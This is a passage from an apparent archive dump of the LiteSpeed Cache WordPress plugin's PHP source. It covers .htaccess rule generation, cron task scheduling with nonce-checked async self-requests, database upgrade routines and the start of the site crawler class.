		$rule_cookie = substr($rule_cookie, strlen('Cache-Vary:'));

		return $rule_cookie;
	}

	/**
	 * Get rewrite rules based on the marker
	 *
	 * @since  2.0
	 * @access private
	 */
	private function _get_rule_by( $cond, $kind = 'frontend' ) {
		clearstatcache();
		$path = $this->htaccess_path($kind);
		if (!$this->_readable($kind)) {
			return false;
		}

		$rules = File::extract_from_markers($path, self::MARKER);
		if (!in_array($cond . self::MARKER_START, $rules) || !in_array($cond . self::MARKER_END, $rules)) {
			return false;
		}

		$key_start = array_search($cond . self::MARKER_START, $rules);
		$key_end   = array_search($cond . self::MARKER_END, $rules);
		if ($key_start === false || $key_end === false) {
			return false;
		}

		$results = array_slice($rules, $key_start + 1, $key_end - $key_start - 1);
		if (!$results) {
			return false;
		}

		if (count($results) == 1) {
			return trim($results[0]);
		}

		return array_filter($results);
	}

	/**
	 * Generate browser cache rules
	 *
	 * @since  1.3
	 * @access private
	 * @return array Rules set
	 */
	private function _browser_cache_rules( $cfg ) {
		/**
		 * Add ttl setting
		 *
		 * @since 1.6.3
		 */
		$id    = Base::O_CACHE_TTL_BROWSER;
		$ttl   = $cfg[$id];
		$rules = array(
			self::EXPIRES_MODULE_START,
			// '<FilesMatch "\.(pdf|ico|svg|xml|jpg|jpeg|png|gif|webp|ogg|mp4|webm|js|css|woff|woff2|ttf|eot)(\.gz)?$">',
			'ExpiresActive on',
			'ExpiresByType application/pdf A' . $ttl,
			'ExpiresByType image/x-icon A' . $ttl,
			'ExpiresByType image/vnd.microsoft.icon A' . $ttl,
			'ExpiresByType image/svg+xml A' . $ttl,
			'',
			'ExpiresByType image/jpg A' . $ttl,
			'ExpiresByType image/jpeg A' . $ttl,
			'ExpiresByType image/png A' . $ttl,
			'ExpiresByType image/gif A' . $ttl,
			'ExpiresByType image/webp A' . $ttl,
			'ExpiresByType image/avif A' . $ttl,
			'',
			'ExpiresByType video/ogg A' . $ttl,
			'ExpiresByType audio/ogg A' . $ttl,
			'ExpiresByType video/mp4 A' . $ttl,
			'ExpiresByType video/webm A' . $ttl,
			'',
			'ExpiresByType text/css A' . $ttl,
			'ExpiresByType text/javascript A' . $ttl,
			'ExpiresByType application/javascript A' . $ttl,
			'ExpiresByType application/x-javascript A' . $ttl,
			'',
			'ExpiresByType application/x-font-ttf A' . $ttl,
			'ExpiresByType application/x-font-woff A' . $ttl,
			'ExpiresByType application/font-woff A' . $ttl,
			'ExpiresByType application/font-woff2 A' . $ttl,
			'ExpiresByType application/vnd.ms-fontobject A' . $ttl,
			'ExpiresByType font/ttf A' . $ttl,
			'ExpiresByType font/otf A' . $ttl,
			'ExpiresByType font/woff A' . $ttl,
			'ExpiresByType font/woff2 A' . $ttl,
			'',
			// '</FilesMatch>',
			self::LS_MODULE_END,
		);
		return $rules;
	}

	/**
	 * Generate CORS rules for fonts
	 *
	 * @since  1.5
	 * @access private
	 * @return array Rules set
	 */
	private function _cors_rules() {
		return array(
			'<FilesMatch "\.(ttf|ttc|otf|eot|woff|woff2|font\.css)$">',
			'<IfModule mod_headers.c>',
			'Header set Access-Control-Allow-Origin "*"',
			'</IfModule>',
			'</FilesMatch>',
		);
	}

	/**
	 * Generate rewrite rules based on settings
	 *
	 * @since  1.3
	 * @access private
	 * @param  array $cfg  The settings to be used for rewrite rule
	 * @return array      Rules array
	 */
	private function _generate_rules( $cfg ) {
		$new_rules               = array();
		$new_rules_nonls         = array();
		$new_rules_backend       = array();
		$new_rules_backend_nonls = array();

		// continual crawler
		// $id = Base::O_CRAWLER;
		// if (!empty($cfg[$id])) {
		$new_rules[] = self::MARKER_ASYNC . self::MARKER_START;
		$new_rules[] = 'RewriteCond %{REQUEST_URI} /wp-admin/admin-ajax\.php';
		$new_rules[] = 'RewriteCond %{QUERY_STRING} action=async_litespeed';
		$new_rules[] = 'RewriteRule .* - [E=noabort:1]';
		$new_rules[] = self::MARKER_ASYNC . self::MARKER_END;
		$new_rules[] = '';
		// }

		// mobile agents
		$id = Base::O_CACHE_MOBILE_RULES;
		if ((!empty($cfg[Base::O_CACHE_MOBILE]) || !empty($cfg[Base::O_GUEST])) && !empty($cfg[$id])) {
			$new_rules[] = self::MARKER_MOBILE . self::MARKER_START;
			$new_rules[] = 'RewriteCond %{HTTP_USER_AGENT} ' . Utility::arr2regex($cfg[$id], true) . ' [NC]';
			$new_rules[] = 'RewriteRule .* - [E=Cache-Control:vary=%{ENV:LSCACHE_VARY_VALUE}+ismobile]';
			$new_rules[] = self::MARKER_MOBILE . self::MARKER_END;
			$new_rules[] = '';
		}

		// nocache cookie
		$id = Base::O_CACHE_EXC_COOKIES;
		if (!empty($cfg[$id])) {
			$new_rules[] = self::MARKER_NOCACHE_COOKIES . self::MARKER_START;
			$new_rules[] = 'RewriteCond %{HTTP_COOKIE} ' . Utility::arr2regex($cfg[$id], true);
			$new_rules[] = 'RewriteRule .* - [E=Cache-Control:no-cache]';
			$new_rules[] = self::MARKER_NOCACHE_COOKIES . self::MARKER_END;
			$new_rules[] = '';
		}

		// nocache user agents
		$id = Base::O_CACHE_EXC_USERAGENTS;
		if (!empty($cfg[$id])) {
			$new_rules[] = self::MARKER_NOCACHE_USER_AGENTS . self::MARKER_START;
			$new_rules[] = 'RewriteCond %{HTTP_USER_AGENT} ' . Utility::arr2regex($cfg[$id], true) . ' [NC]';
			$new_rules[] = 'RewriteRule .* - [E=Cache-Control:no-cache]';
			$new_rules[] = self::MARKER_NOCACHE_USER_AGENTS . self::MARKER_END;
			$new_rules[] = '';
		}

		// check login cookie
		$vary_cookies = $cfg[Base::O_CACHE_VARY_COOKIES];
		$id           = Base::O_CACHE_LOGIN_COOKIE;
		if (!empty($cfg[$id])) {
			$vary_cookies[] = $cfg[$id];
		}
		if (LITESPEED_SERVER_TYPE === 'LITESPEED_SERVER_OLS') {
			// Need to keep this due to different behavior of OLS when handling response vary header @Sep/22/2018
			if (defined('COOKIEHASH')) {
				$vary_cookies[] = ',wp-postpass_' . COOKIEHASH;
			}
		}
		$vary_cookies = apply_filters('litespeed_vary_cookies', $vary_cookies); // todo: test if response vary header can work in latest OLS, drop the above two lines
		// frontend and backend
		if ($vary_cookies) {
			$env = 'Cache-Vary:' . implode(',', $vary_cookies);
			// if (LITESPEED_SERVER_TYPE === 'LITESPEED_SERVER_OLS') {
			// }
			$env         = '"' . $env . '"';
			$new_rules[] = $new_rules_backend[] = self::MARKER_LOGIN_COOKIE . self::MARKER_START;
			$new_rules[] = $new_rules_backend[] = 'RewriteRule .? - [E=' . $env . ']';
			$new_rules[] = $new_rules_backend[] = self::MARKER_LOGIN_COOKIE . self::MARKER_END;
			$new_rules[] = '';
		}

		// CORS font rules
		$id = Base::O_CDN;
		if (!empty($cfg[$id])) {
			$new_rules[] = self::MARKER_CORS . self::MARKER_START;
			$new_rules   = array_merge($new_rules, $this->_cors_rules()); // todo: network
			$new_rules[] = self::MARKER_CORS . self::MARKER_END;
			$new_rules[] = '';
		}

		// webp support
		$id = Base::O_IMG_OPTM_WEBP;
		if (!empty($cfg[$id])) {
			$next_gen_format = 'webp';
			if ($cfg[$id] == 2) {
				$next_gen_format = 'avif';
			}
			$new_rules[] = self::MARKER_WEBP . self::MARKER_START;
			// Check for WebP support via HTTP_ACCEPT
			$new_rules[] = 'RewriteCond %{HTTP_ACCEPT} image/' . $next_gen_format . ' [OR]';

			// Check for iPhone browsers (version > 13)
			$new_rules[] = 'RewriteCond %{HTTP_USER_AGENT} iPhone\ OS\ (1[4-9]|[2-9][0-9]) [OR]';

			// Check for Firefox (version >= 65)
			$new_rules[] = 'RewriteCond %{HTTP_USER_AGENT} Firefox/([6-9][0-9]|[1-9][0-9]{2,})';

			// Add vary
			$new_rules[] = 'RewriteRule .* - [E=Cache-Control:vary=%{ENV:LSCACHE_VARY_VALUE}+webp]';
			$new_rules[] = self::MARKER_WEBP . self::MARKER_END;
			$new_rules[] = '';
		}

		// drop qs support
		$id = Base::O_CACHE_DROP_QS;
		if (!empty($cfg[$id])) {
			$new_rules[] = self::MARKER_DROPQS . self::MARKER_START;
			foreach ($cfg[$id] as $v) {
				$new_rules[] = 'CacheKeyModify -qs:' . $v;
			}
			$new_rules[] = self::MARKER_DROPQS . self::MARKER_END;
			$new_rules[] = '';
		}

		// Browser cache
		$id = Base::O_CACHE_BROWSER;
		if (!empty($cfg[$id])) {
			$new_rules_nonls[]       = $new_rules_backend_nonls[] = self::MARKER_BROWSER_CACHE . self::MARKER_START;
			$new_rules_nonls         = array_merge($new_rules_nonls, $this->_browser_cache_rules($cfg));
			$new_rules_backend_nonls = array_merge($new_rules_backend_nonls, $this->_browser_cache_rules($cfg));
			$new_rules_nonls[]       = $new_rules_backend_nonls[] = self::MARKER_BROWSER_CACHE . self::MARKER_END;
			$new_rules_nonls[]       = '';
		}

		// Add module wrapper for LiteSpeed rules
		if ($new_rules) {
			$new_rules = $this->_wrap_ls_module($new_rules);
		}

		if ($new_rules_backend) {
			$new_rules_backend = $this->_wrap_ls_module($new_rules_backend);
		}

		return array( $new_rules, $new_rules_backend, $new_rules_nonls, $new_rules_backend_nonls );
	}

	/**
	 * Add LitSpeed module wrapper with rewrite on
	 *
	 * @since  2.1.1
	 * @access private
	 */
	private function _wrap_ls_module( $rules = array() ) {
		return array_merge(array( self::LS_MODULE_START ), $this->__rewrite_on, array( '' ), $rules, array( self::LS_MODULE_END ));
	}

	/**
	 * Insert LitSpeed module wrapper with rewrite on
	 *
	 * @since  2.1.1
	 * @access public
	 */
	public function insert_ls_wrapper() {
		$rules = $this->_wrap_ls_module();
		$this->_insert_wrapper($rules);
	}

	/**
	 * wrap rules with module on info
	 *
	 * @since  1.1.5
	 * @param  array $rules
	 * @return array        wrapped rules with module info
	 */
	private function _wrap_do_no_edit( $rules ) {
		// When to clear rules, don't need DONOTEDIT msg
		if ($rules === false || !is_array($rules)) {
			return $rules;
		}

		$rules = array_merge(array( self::LS_MODULE_DONOTEDIT ), $rules, array( self::LS_MODULE_DONOTEDIT ));

		return $rules;
	}

	/**
	 * Write to htaccess with rules
	 *
	 * NOTE: will throw error if failed
	 *
	 * @since  1.1.0
	 * @access private
	 */
	private function _insert_wrapper( $rules = array(), $kind = false, $marker = false ) {
		if ($kind != 'backend') {
			$kind = 'frontend';
		}

		// Default marker is LiteSpeed marker `LSCACHE`
		if ($marker === false) {
			$marker = self::MARKER;
		}

		$this->_htaccess_backup($kind);

		File::insert_with_markers($this->htaccess_path($kind), $this->_wrap_do_no_edit($rules), $marker, true);
	}

	/**
	 * Update rewrite rules based on setting
	 *
	 * NOTE: will throw error if failed
	 *
	 * @since 1.3
	 * @access public
	 */
	public function update( $cfg ) {
		list($frontend_rules, $backend_rules, $frontend_rules_nonls, $backend_rules_nonls) = $this->_generate_rules($cfg);

		// Check frontend content
		list($rules, $rules_nonls) = $this->_extract_rules();

		// Check Non-LiteSpeed rules
		if ($this->_wrap_do_no_edit($frontend_rules_nonls) != $rules_nonls) {
			Debug2::debug('[Rules] Update non-ls frontend rules');
			// Need to update frontend htaccess
			try {
				$this->_insert_wrapper($frontend_rules_nonls, false, self::MARKER_NONLS);
			} catch (\Exception $e) {
				$manual_guide_codes = $this->_rewrite_codes_msg($this->frontend_htaccess, $frontend_rules_nonls, self::MARKER_NONLS);
				Debug2::debug('[Rules] Update Failed');
				throw new \Exception($manual_guide_codes);
			}
		}

		// Check LiteSpeed rules
		if ($this->_wrap_do_no_edit($frontend_rules) != $rules) {
			Debug2::debug('[Rules] Update frontend rules');
			// Need to update frontend htaccess
			try {
				$this->_insert_wrapper($frontend_rules);
			} catch (\Exception $e) {
				Debug2::debug('[Rules] Update Failed');
				$manual_guide_codes = $this->_rewrite_codes_msg($this->frontend_htaccess, $frontend_rules);
				throw new \Exception($manual_guide_codes);
			}
		}

		if ($this->frontend_htaccess !== $this->backend_htaccess) {
			list($rules, $rules_nonls) = $this->_extract_rules('backend');

			// Check Non-LiteSpeed rules for backend
			if ($this->_wrap_do_no_edit($backend_rules_nonls) != $rules_nonls) {
				Debug2::debug('[Rules] Update non-ls backend rules');
				// Need to update frontend htaccess
				try {
					$this->_insert_wrapper($backend_rules_nonls, 'backend', self::MARKER_NONLS);
				} catch (\Exception $e) {
					Debug2::debug('[Rules] Update Failed');
					$manual_guide_codes = $this->_rewrite_codes_msg($this->backend_htaccess, $backend_rules_nonls, self::MARKER_NONLS);
					throw new \Exception($manual_guide_codes);
				}
			}

			// Check backend content
			if ($this->_wrap_do_no_edit($backend_rules) != $rules) {
				Debug2::debug('[Rules] Update backend rules');
				// Need to update backend htaccess
				try {
					$this->_insert_wrapper($backend_rules, 'backend');
				} catch (\Exception $e) {
					Debug2::debug('[Rules] Update Failed');
					$manual_guide_codes = $this->_rewrite_codes_msg($this->backend_htaccess, $backend_rules);
					throw new \Exception($manual_guide_codes);
				}
			}
		}

		return true;
	}

	/**
	 * Get existing rewrite rules
	 *
	 * NOTE: will throw error if failed
	 *
	 * @since  1.3
	 * @access private
	 * @param  string $kind Frontend or backend .htaccess file
	 */
	private function _extract_rules( $kind = 'frontend' ) {
		clearstatcache();
		$path = $this->htaccess_path($kind);
		if (!$this->_readable($kind)) {
			Error::t('E_HTA_R');
		}

		$rules       = File::extract_from_markers($path, self::MARKER);
		$rules_nonls = File::extract_from_markers($path, self::MARKER_NONLS);

		return array( $rules, $rules_nonls );
	}

	/**
	 * Output the msg with rules plain data for manual insert
	 *
	 * @since  1.1.5
	 * @param  string $file
	 * @param  array  $rules
	 * @return string        final msg to output
	 */
	private function _rewrite_codes_msg( $file, $rules, $marker = false ) {
		return sprintf(
			__('<p>Please add/replace the following codes into the beginning of %1$s:</p> %2$s', 'litespeed-cache'),
			$file,
			'<textarea style="width:100%;" rows="10" readonly>' . htmlspecialchars($this->_wrap_rules_with_marker($rules, $marker)) . '</textarea>'
		);
	}

	/**
	 * Generate rules plain data for manual insert
	 *
	 * @since  1.1.5
	 */
	private function _wrap_rules_with_marker( $rules, $marker = false ) {
		// Default marker is LiteSpeed marker `LSCACHE`
		if ($marker === false) {
			$marker = self::MARKER;
		}

		$start_marker  = "# BEGIN {$marker}";
		$end_marker    = "# END {$marker}";
		$new_file_data = implode("\n", array_merge(array( $start_marker ), $this->_wrap_do_no_edit($rules), array( $end_marker )));

		return $new_file_data;
	}

	/**
	 * Clear the rules file of any changes added by the plugin specifically.
	 *
	 * @since 1.0.4
	 * @access public
	 */
	public function clear_rules() {
		$this->_insert_wrapper(false); // Use false to avoid do-not-edit msg
		// Clear non ls rules
		$this->_insert_wrapper(false, false, self::MARKER_NONLS);

		if ($this->frontend_htaccess !== $this->backend_htaccess) {
			$this->_insert_wrapper(false, 'backend');
			$this->_insert_wrapper(false, 'backend', self::MARKER_NONLS);
		}
	}
}
litespeed-wp-plugin/7.5.0.1/litespeed-cache/src/task.cls.php000064400000014207151031165260017315 0ustar00<?php
// phpcs:ignoreFile

/**
 * The cron task class.
 *
 * @since       1.1.3
 */

namespace LiteSpeed;

defined('WPINC') || exit();

class Task extends Root {

	const LOG_TAG             = '⏰';
	private static $_triggers = array(
		Base::O_IMG_OPTM_CRON => array(
			'name' => 'litespeed_task_imgoptm_pull',
			'hook' => 'LiteSpeed\Img_Optm::start_async_cron',
		), // always fetch immediately
		Base::O_OPTM_CSS_ASYNC => array(
			'name' => 'litespeed_task_ccss',
			'hook' => 'LiteSpeed\CSS::cron_ccss',
		),
		Base::O_OPTM_UCSS => array(
			'name' => 'litespeed_task_ucss',
			'hook' => 'LiteSpeed\UCSS::cron',
		),
		Base::O_MEDIA_VPI_CRON => array(
			'name' => 'litespeed_task_vpi',
			'hook' => 'LiteSpeed\VPI::cron',
		),
		Base::O_MEDIA_PLACEHOLDER_RESP_ASYNC => array(
			'name' => 'litespeed_task_lqip',
			'hook' => 'LiteSpeed\Placeholder::cron',
		),
		Base::O_DISCUSS_AVATAR_CRON => array(
			'name' => 'litespeed_task_avatar',
			'hook' => 'LiteSpeed\Avatar::cron',
		),
		Base::O_IMG_OPTM_AUTO => array(
			'name' => 'litespeed_task_imgoptm_req',
			'hook' => 'LiteSpeed\Img_Optm::cron_auto_request',
		),
		Base::O_CRAWLER => array(
			'name' => 'litespeed_task_crawler',
			'hook' => 'LiteSpeed\Crawler::start_async_cron',
		), // Set crawler to last one to use above results
	);

	private static $_guest_options = array( Base::O_OPTM_CSS_ASYNC, Base::O_OPTM_UCSS, Base::O_MEDIA_VPI );

	const FILTER_CRAWLER = 'litespeed_crawl_filter';
	const FILTER         = 'litespeed_filter';

	/**
	 * Keep all tasks in cron
	 *
	 * @since 3.0
	 * @access public
	 */
	public function init() {
		self::debug2('Init');
		add_filter('cron_schedules', array( $this, 'lscache_cron_filter' ));

		$guest_optm = $this->conf(Base::O_GUEST) && $this->conf(Base::O_GUEST_OPTM);

		foreach (self::$_triggers as $id => $trigger) {
			if ($id == Base::O_IMG_OPTM_CRON) {
				if (!Img_Optm::need_pull()) {
					continue;
				}
			} elseif (!$this->conf($id)) {
				if (!$guest_optm || !in_array($id, self::$_guest_options)) {
					continue;
				}
			}

			// Special check for crawler
			if ($id == Base::O_CRAWLER) {
				if (!Router::can_crawl()) {
					continue;
				}

				add_filter('cron_schedules', array( $this, 'lscache_cron_filter_crawler' ));
			}

			if (!wp_next_scheduled($trigger['name'])) {
				self::debug('Cron hook register [name] ' . $trigger['name']);

				wp_schedule_event(time(), $id == Base::O_CRAWLER ? self::FILTER_CRAWLER : self::FILTER, $trigger['name']);
			}

			add_action($trigger['name'], $trigger['hook']);
		}
	}

	/**
	 * Handle all async noabort requests
	 *
	 * @since 5.5
	 */
	public static function async_litespeed_handler() {
		$hash_data = self::get_option('async_call-hash', array());
		if (!$hash_data || !is_array($hash_data) || empty($hash_data['hash']) || empty($hash_data['ts'])) {
			self::debug('async_litespeed_handler no hash data', $hash_data);
			return;
		}
		if (time() - $hash_data['ts'] > 120 || empty($_GET['nonce']) || $_GET['nonce'] != $hash_data['hash']) {
			self::debug('async_litespeed_handler nonce mismatch');
			return;
		}
		self::delete_option('async_call-hash');

		$type = Router::verify_type();
		self::debug('type=' . $type);

		// Don't lock up other requests while processing
		session_write_close();
		switch ($type) {
			case 'crawler':
            Crawler::async_handler();
				break;
			case 'crawler_force':
            Crawler::async_handler(true);
				break;
			case 'imgoptm':
            Img_Optm::async_handler();
				break;
			case 'imgoptm_force':
            Img_Optm::async_handler(true);
				break;
			default:
		}
	}

	/**
	 * Async caller wrapper func
	 *
	 * @since 5.5
	 */
	public static function async_call( $type ) {
		$hash = Str::rrand(32);
		self::update_option('async_call-hash', array(
			'hash' => $hash,
			'ts' => time(),
		));
		$args = array(
			'timeout' => 0.01,
			'blocking' => false,
			'sslverify' => false,
			// 'cookies'   => $_COOKIE,
		);
		$qs  = array(
			'action' => 'async_litespeed',
			'nonce' => $hash,
			Router::TYPE => $type,
		);
		$url = add_query_arg($qs, admin_url('admin-ajax.php'));
		self::debug('async call to ' . $url);
		wp_safe_remote_post(esc_url_raw($url), $args);
	}

	/**
	 * Clean all potential existing crons
	 *
	 * @since 3.0
	 * @access public
	 */
	public static function destroy() {
		Utility::compatibility();
		array_map('wp_clear_scheduled_hook', array_column(self::$_triggers, 'name'));
	}

	/**
	 * Try to clean the crons if disabled
	 *
	 * @since 3.0
	 * @access public
	 */
	public function try_clean( $id ) {
		// Clean v2's leftover cron ( will remove in v3.1 )
		// foreach ( wp_get_ready_cron_jobs() as $hooks ) {
		// foreach ( $hooks as $hook => $v ) {
		// if ( strpos( $hook, 'litespeed_' ) === 0 && ( substr( $hook, -8 ) === '_trigger' || strpos( $hook, 'litespeed_task_' ) !== 0 ) ) {
		// self::debug( 'Cron clear legacy [hook] ' . $hook );
		// wp_clear_scheduled_hook( $hook );
		// }
		// }
		// }

		if ($id && !empty(self::$_triggers[$id])) {
			if (!$this->conf($id) || ($id == Base::O_CRAWLER && !Router::can_crawl())) {
				self::debug('Cron clear [id] ' . $id . ' [hook] ' . self::$_triggers[$id]['name']);
				wp_clear_scheduled_hook(self::$_triggers[$id]['name']);
			}
			return;
		}

		self::debug('❌ Unknown cron [id] ' . $id);
	}

	/**
	 * Register cron interval imgoptm
	 *
	 * @since 1.6.1
	 * @access public
	 */
	public function lscache_cron_filter( $schedules ) {
		if (!array_key_exists(self::FILTER, $schedules)) {
			$schedules[self::FILTER] = array(
				'interval' => 60,
				'display' => __('Every Minute', 'litespeed-cache'),
			);
		}
		return $schedules;
	}

	/**
	 * Register cron interval
	 *
	 * @since 1.1.0
	 * @access public
	 */
	public function lscache_cron_filter_crawler( $schedules ) {
		$CRAWLER_RUN_INTERVAL = defined('LITESPEED_CRAWLER_RUN_INTERVAL') ? constant('LITESPEED_CRAWLER_RUN_INTERVAL') : 600;
		// $wp_schedules = wp_get_schedules();
		if (!array_key_exists(self::FILTER_CRAWLER, $schedules)) {
			// self::debug('Crawler cron log: cron filter '.$interval.' added');
			$schedules[self::FILTER_CRAWLER] = array(
				'interval' => $CRAWLER_RUN_INTERVAL,
				'display' => __('LiteSpeed Crawler Cron', 'litespeed-cache'),
			);
		}
		return $schedules;
	}
}
litespeed-wp-plugin/7.5.0.1/litespeed-cache/src/data.upgrade.func.php000064400000006113151031165260021061 0ustar00<?php
// phpcs:ignoreFile

/**
 * Database upgrade funcs
 *
 * NOTE: whenever called this file, always call Data::get_upgrade_lock and Data::_set_upgrade_lock first.
 *
 * @since  3.0
 */
defined('WPINC') || exit();

use LiteSpeed\Debug2;
use LiteSpeed\Cloud;

/**
 * Table existence check function
 *
 * @since 7.2
 */
function litespeed_table_exists( $table_name ) {
	global $wpdb;
	$save_state = $wpdb->suppress_errors;
	$wpdb->suppress_errors(true);
	$tb_exists = $wpdb->get_var('DESCRIBE `' . $table_name . '`');
	$wpdb->suppress_errors($save_state);

	return $tb_exists !== null;
}

/**
 * Migrate v7.0- url_files URL from no trailing slash to trailing slash
 *
 * @since 7.0.1
 */
function litespeed_update_7_0_1() {
	global $wpdb;
	Debug2::debug('[Data] v7.0.1 upgrade started');

	$tb_url = $wpdb->prefix . 'litespeed_url';
	if (!litespeed_table_exists($tb_url)) {
		Debug2::debug('[Data] Table `litespeed_url` not found, bypassed migration');
		return;
	}

	$q             = "SELECT * FROM `$tb_url` WHERE url LIKE 'https://%/'";
	$q             = $wpdb->prepare($q);
	$list          = $wpdb->get_results($q, ARRAY_A);
	$existing_urls = array();
	if ($list) {
		foreach ($list as $v) {
			$existing_urls[] = $v['url'];
		}
	}

	$q    = "SELECT * FROM `$tb_url` WHERE url LIKE 'https://%'";
	$q    = $wpdb->prepare($q);
	$list = $wpdb->get_results($q, ARRAY_A);
	if (!$list) {
		return;
	}
	foreach ($list as $v) {
		if (substr($v['url'], -1) == '/') {
			continue;
		}
		$new_url = $v['url'] . '/';
		if (in_array($new_url, $existing_urls)) {
			continue;
		}
		$q = "UPDATE `$tb_url` SET url = %s WHERE id = %d";
		$q = $wpdb->prepare($q, $new_url, $v['id']);
		$wpdb->query($q);
	}
}

/**
 * Migrate from domain key to pk/sk for QC
 *
 * @since 7.0
 */
function litespeed_update_7() {
	Debug2::debug('[Data] v7 upgrade started');

	$__cloud = Cloud::cls();

	$domain_key = $__cloud->conf('api_key');
	if (!$domain_key) {
		Debug2::debug('[Data] No domain key, bypassed migration');
		return;
	}

	$new_prepared = $__cloud->init_qc_prepare();
	if (!$new_prepared && $__cloud->activated()) {
		Debug2::debug('[Data] QC previously activated in v7, bypassed migration');
		return;
	}
	$data = array(
		'domain_key' => $domain_key,
	);
	$resp = $__cloud->post(Cloud::SVC_D_V3UPGRADE, $data);
	if (!empty($resp['qc_activated'])) {
		if ($resp['qc_activated'] != 'deleted') {
			$cloud_summary_updates = array( 'qc_activated' => $resp['qc_activated'] );
			if (!empty($resp['main_domain'])) {
				$cloud_summary_updates['main_domain'] = $resp['main_domain'];
			}
			Cloud::save_summary($cloud_summary_updates);
			Debug2::debug('[Data] Updated QC activated status to ' . $resp['qc_activated']);
		}
	}
}

/**
 * Append webp/mobile to url_file
 *
 * @since 5.3
 */
function litespeed_update_5_3() {
	global $wpdb;
	Debug2::debug('[Data] Upgrade url_file table');

	$tb = $wpdb->prefix . 'litespeed_url_file';
	if (litespeed_table_exists($tb)) {
		$q =
			'ALTER TABLE `' .
			$tb .
			'`
				ADD COLUMN `mobile` tinyint(4) NOT NULL COMMENT "mobile=1",
				ADD COLUMN `webp` tinyint(4) NOT NULL COMMENT "webp=1"
			';
		$wpdb->query($q);
	}
}
litespeed-wp-plugin/7.5.0.1/litespeed-cache/src/crawler.cls.php000064400000124310151031165260020007 0ustar00<?php
// phpcs:ignoreFile

/**
 * The crawler class
 *
 * @since       1.1.0
 */

namespace LiteSpeed;

defined('WPINC') || exit();

class Crawler extends Root {

	const LOG_TAG = '🕸️';

	const TYPE_REFRESH_MAP     = 'refresh_map';
	const TYPE_EMPTY           = 'empty';
	const TYPE_BLACKLIST_EMPTY = 'blacklist_empty';
	const TYPE_BLACKLIST_DEL   = 'blacklist_del';
	const TYPE_BLACKLIST_ADD   = 'blacklist_add';
	const TYPE_START           = 'start';
	const TYPE_RESET           = 'reset';

	const USER_AGENT      = 'lscache_walker';
	const FAST_USER_AGENT = 'lscache_runner';
	const CHUNKS          = 10000;

	const STATUS_WAIT      = 'W';
	const STATUS_HIT       = 'H';
	const STATUS_MISS      = 'M';
	const STATUS_BLACKLIST = 'B';
	const STATUS_NOCACHE   = 'N';

	private $_sitemeta = 'meta.data';
	private $_resetfile;
	private $_end_reason;
	private $_ncpu = 1;
	private $_server_ip;

	private $_crawler_conf = array(
		'cookies' => array(),
		'headers' => array(),
		'ua' => '',
	);
	private $_crawlers     = array();
	private $_cur_threads  = -1;
	private $_max_run_time;
	private $_cur_thread_time;
	private $_map_status_list = array(
		'H' => array(),
		'M' => array(),
		'B' => array(),
		'N' => array(),
	);
	protected $_summary;

	/**
	 * Initialize crawler, assign sitemap path
	 *
	 * @since    1.1.0
	 */
	public function __construct() {
		if (is_multisite()) {
			$this->_sitemeta = 'meta' . get_current_blog_id() . '.data';
		}

		$this->_resetfile = LITESPEED_STATIC_DIR . '/crawler/' . $this->_sitemeta . '.reset';

		$this->_summary = self::get_summary();

		$this->_ncpu      = $this->_get_server_cpu();
		$this->_server_ip = $this->conf(Base::O_SERVER_IP);

		self::debug('Init w/ CPU cores=' . $this->_ncpu);
	}

	/**
	 * Try get server CPUs
	 *
	 * @since 5.2
	 */
	private function _get_server_cpu() {
		$cpuinfo_file     = '/proc/cpuinfo';
		$setting_open_dir = ini_get('open_basedir');
		if ($setting_open_dir) {
			return 1;
		} // Server has limit

		try {
			if (!@is_file($cpuinfo_file)) {
				return 1;
			}
		} catch (\Exception $e) {
			return 1;
		}

		$cpuinfo = file_get_contents($cpuinfo_file);
		preg_match_all('/^processor/m', $cpuinfo, $matches);
		return count($matches[0]) ?: 1;
	}

	/**
	 * Check whether the current crawler is active/runable/useable/enabled/want it to work or not
	 *
	 * @since  4.3
	 */
	public function is_active( $curr ) {
		$bypass_list = self::get_option('bypass_list', array());
		return !in_array($curr, $bypass_list);
	}

	/**
	 * Toggle the current crawler's activeness state, i.e., runable/useable/enabled/want it to work or not, and return the updated state
	 *
	 * @since  4.3
	 */
	public function toggle_activeness( $curr ) {
		// param type: int
		$bypass_list = self::get_option('bypass_list', array());
		if (in_array($curr, $bypass_list)) {
			// when the ith opt was off / in the bypassed list, turn it on / remove it from the list
			unset($bypass_list[array_search($curr, $bypass_list)]);
			$bypass_list = array_values($bypass_list);
			self::update_option('bypass_list', $bypass_list);
			return true;
		} else {
			// when the ith opt was on / not in the bypassed list, turn it off / add it to the list
			$bypass_list[] = (int) $curr;
			self::update_option('bypass_list', $bypass_list);
			return false;
		}
	}

	/**
	 * Clear bypassed list
	 *
	 * @since  4.3
	 * @access public
	 */
	public function clear_disabled_list() {
		self::update_option('bypass_list', array());

		$msg = __('Crawler disabled list is cleared! All crawlers are set to active! ', 'litespeed-cache');
		Admin_Display::note($msg);

		self::debug('All crawlers are set to active...... ');
	}

	/**
	 * Overwrite get_summary to init elements
	 *
	 * @since  3.0
	 * @access public
	 */
	public static function get_summary( $field = false ) {
		$_default = array(
			'list_size' => 0,
			'last_update_time' => 0,
			'curr_crawler' => 0,
			'curr_crawler_beginning_time' => 0,
			'last_pos' => 0,
			'last_count' => 0,
			'last_crawled' => 0,
			'last_start_time' => 0,
			'last_status' => '',
			'is_running' => 0,
			'end_reason' => '',
			'meta_save_time' => 0,
			'pos_reset_check' => 0,
			'done' => 0,
			'this_full_beginning_time' => 0,
			'last_full_time_cost' => 0,
			'last_crawler_total_cost' => 0,
			'crawler_stats' => array(), // this will store all crawlers hit/miss crawl status
		);

		wp_cache_delete('alloptions', 'options'); // ensure the summary is current
		$summary = parent::get_summary();
		$summary = array_merge($_default, $summary);

		if (!$field) {
			return $summary;
		}

		if (array_key_exists($field, $summary)) {
			return $summary[$field];
		}

		return null;
	}

	/**
	 * Overwrite save_summary
	 *
	 * @since  3.0
	 * @access public
	 */
	public static function save_summary( $data = false, $reload = false, $overwrite = false ) {
		$instance                             = self::cls();
		$instance->_summary['meta_save_time'] = time();

		if (!$data) {
			$data = $instance->_summary;
		}

		parent::save_summary($data, $reload, $overwrite);

		File::save(LITESPEED_STATIC_DIR . '/crawler/' . $instance->_sitemeta, \json_encode($data), true);
	}

	/**
	 * Cron start async crawling
	 *
	 * @since 5.5
	 */
	public static function start_async_cron() {
		Task::async_call('crawler');
	}

	/**
	 * Manually start async crawling
	 *
	 * @since 5.5
	 */
	public static function start_async() {
		Task::async_call('crawler_force');

		$msg = __('Started async crawling', 'litespeed-cache');
		Admin_Display::success($msg);
	}

	/**
	 * Ajax crawl handler
	 *
	 * @since 5.5
	 */
